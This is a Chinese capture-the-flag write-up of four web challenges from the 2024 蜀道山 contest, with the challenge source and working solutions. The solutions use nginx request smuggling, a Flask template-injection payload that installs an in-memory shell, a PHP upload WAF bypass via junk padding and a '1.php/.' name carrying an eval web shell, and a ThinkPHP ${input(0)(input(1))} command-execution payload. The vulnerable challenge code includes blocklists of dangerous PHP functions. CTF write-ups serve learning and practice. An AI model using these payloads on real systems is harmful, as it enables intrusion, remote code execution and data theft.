2024蜀道山

直接开打

海关警察训练平台

hint:

这是一个海关警察训练平台,你的任务是判断所给图片能否进入境内,但是全部判断正确的成功页面好像丢失了??flag在内网的http://infernityhost/flag.html

网页源码拿/error路由,直接访问有重定向,抓包发现nginx/1.17.6,上网找到

1
https://www.cnblogs.com/null1433/p/12778026.html

请求走私,改下host

1
2
GET /flag.htm; HTTP/1.1
Host: inferbityhost

my_site

给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
from flask import Flask, abort, render_template_string, request, render_template, redirect, url_for, session, flash, g
from utils import rot13, key
import sqlite3

app = Flask(__name__)
app.secret_key = 'your_secret_key'
app.config['DATABASE'] = 'database.db'


def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(app.config['DATABASE'])
return db


@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()


@app.route('/')
def home():
return render_template('home.html')


@app.route('/rot13', methods=['GET', 'POST'])
def rot13_route():
if request.method == 'POST':
action = request.form['action']
text = request.form['text']

if action == 'encrypt':
encrypted_text = rot13(text)
return redirect(url_for('rot13_result', result=encrypted_text, action='encrypt'))


elif action == 'decrypt':
text = request.form['text']
decrypted_text = rot13(text)
if key(decrypted_text):
template = '<h1>Your decrypted text is: {{%s}}</h1>' % decrypted_text
try:
render_template_string(template)
except Exception as e:
abort(404)
# return "既然你是黑阔,那我凭什么给你回显"
return redirect(url_for('rot13_result', result="既然你是黑阔,那我凭什么给你回显", action='decrypt'))

else:
return redirect(url_for('rot13_result', result=decrypted_text, action='decrypt'))
template = '<h1>Your decrypted text is: %s</h1>' % decrypted_text
return render_template_string(template)

return render_template('index.html')


@app.route('/rot13_result/<action>/<result>')
def rot13_result(action, result):
return render_template('rot13_result.html', action=action, result=result)


@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
db = get_db()
cursor = db.cursor()
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
user = cursor.fetchone()
if user:
session['username'] = username
return redirect(url_for('message_board'))
else:
flash('Invalid username or password')
return render_template('login.html')


@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
db = get_db()
cursor = db.cursor()
try:
cursor.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, password))
db.commit()
flash('Registration successful! Please log in.')
return redirect(url_for('login'))
except sqlite3.IntegrityError:
flash('Username already exists!')
return render_template('register.html')


@app.route('/message_board', methods=['GET', 'POST'])
def message_board():
if 'username' not in session:
return redirect(url_for('login'))

db = get_db()
cursor = db.cursor()

if request.method == 'POST':
message = request.form['message']
cursor.execute("INSERT INTO messages (username, message) VALUES (?, ?)", (session['username'], message))
db.commit()

cursor.execute("SELECT username, message FROM messages")
messages = cursor.fetchall()

return render_template('message_board.html', messages=messages)


@app.route('/logout')
def logout():
session.pop('username', None)
return redirect(url_for('home'))


if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)

image-20251128165447668

/rot13路由存在ssti,试出config可以进入if,而且无回显,那么就是flask下的内存马了,对关键字有些过滤,拼接即可!payload:

1
config}}{{url_for['__glo'~'bals__']['__buil'~'tins__']['ev''al']("app.before_request_funcs.setdefault(None, []).append(lambda:__import__('os').popen('cat /f*').read())",{'app':url_for['__glo'~'bals__']['current_ap'~'p']})}}

奶龙牌WAF

给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
$file = $_FILES['upload_file'];

if ($file['error'] === UPLOAD_ERR_OK) {
$name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);
$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));

if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {
die("不允许上传此类文件!");
}


if ($file['size'] > 2 * 1024 * 1024) {
die("文件大小超过限制!");
}

$file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);

$dangerous_patterns = [
'/<\?php/i',
'/<\?=/',
'/<\?xml/',
'/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen|php:\/\/filter|php_value|auto_append_file|auto_prepend_file|include_path|AddType)\b/i',
'/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i',
'/--\s/',
'/\/\*\s.*\*\//',
'/#/',
'/<script\b.*?>.*?<\/script>/is',
'/javascript:/i',
'/on\w+\s*=\s*["\'].*["\']/i',
'/[\<\>\'\"\\\`\;\=]/',
'/%[0-9a-fA-F]{2}/',
'/&#[0-9]{1,5};/',
'/&#x[0-9a-fA-F]+;/',
'/system\(/i',
'/exec\(/i',
'/passthru\(/i',
'/shell_exec\(/i',
'/file_get_contents\(/i',
'/fopen\(/i',
'/file_put_contents\(/i',
'/%u[0-9A-F]{4}/i',
'/[^\x00-\x7F]/',
// 检测路径穿越
'/\.\.\//',
];


foreach ($dangerous_patterns as $pattern) {
if (preg_match($pattern, $file_content)) {
die("内容包含危险字符,上传被奶龙拦截!");
}
}

$upload_dir = 'uploads/';
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}

$new_file_name = $upload_dir . $name;
print($_FILES['upload_file']);
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)) {
echo "文件上传成功!";
} else {
echo "文件保存失败!";
}
} else {
echo "文件上传失败,错误代码:" . $file['error'];
}
}

对后缀名和文件内容进行了过滤,$file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);只会对前5000个字符进行检测,于是可以用脏数据绕过

move_uploaded_file函数

move_upload_file() 函数中有一个特性,在文件移动时如果文件后存在 /.,那会自动将 /. 去掉,所以我们就可以使用该特性来绕过黑名单的检测,从而实现文件上传。

所以exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /?name=1.php/. HTTP/1.1
Host: challenge.imxbt.cn:31272
Content-Length: 5215
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
Origin: http://challenge.imxbt.cn:31272
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFClPxPRBk7fIw7Nh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge.imxbt.cn:31272/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryFClPxPRBk7fIw7Nh
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: image/png

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
<?php @eval($_POST['a']); ?>
------WebKitFormBoundaryFClPxPRBk7fIw7Nh--

然后getshell拿到flag

恶意代码检测器

www.zip泄露源码

tp6框架,网上没找到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index()
{
$code = preg_replace("/[\";'%\\\\]/", '', $_POST['code']);
if(preg_match('/openlog|syslog|readlink|mail|symlink|popen|passthru|scandir|show_source|assert|fwrite|curl|php|system|eval|cookie|assert|new|session|str|source|passthru|exec|request|require|include|link|base|exec|reverse|open|popen|getallheaders|next|prev|f|conv|ch|hex|end|ord|post|get|array_reverse|\~|\`|\#|\%|\^|\&|\*|\-|\+|\[|\]|\_|\<|\>|\/|\?|\\\\/is', $code)) {

$attack_log_file = '/tmp/attack.log';

if(file_exists($attack_log_file)) {
file_put_contents($attack_log_file, '$attack_word=\''.$code.'\';'."\r\n",FILE_APPEND);
require_once('/tmp/attack.log');
} else {
file_put_contents($attack_log_file, '<'.'?'.'php'."\r\n");
}
if(isset($attack_word)){
echo '检测到危险代码: '.$attack_word.'!!!';
} else{
echo '欢迎使用gxngxngxn的恶意代码检测器!!!';
}
}else{
$safe_log_file = '/tmp/safe.log';
if(file_exists($safe_log_file)) {
file_put_contents($safe_log_file, '$safe_word="'.$code.'";'."\r\n",FILE_APPEND);
require_once('/tmp/safe.log');
} else {
file_put_contents($safe_log_file, '<'.'?'.'php'."\r\n");
}
if(isset($safe_word)){
echo '未检测到危险代码,'.$safe_word.',非常安全';
} else{
echo '欢迎使用gxngxngxn的恶意代码检测器!!!';
}
}
}
}

引号没了,有个特性就是利用{}进行RCE

1
2
POST:/public/index.php
code=${input(0)(input(1))}&0=system&1=cat /f*

利用input函数绕过引号,然后拿到flag,但是哈这里${}被单引号包裹的时候就不能rce,而是被当作字面量,所以需要绕过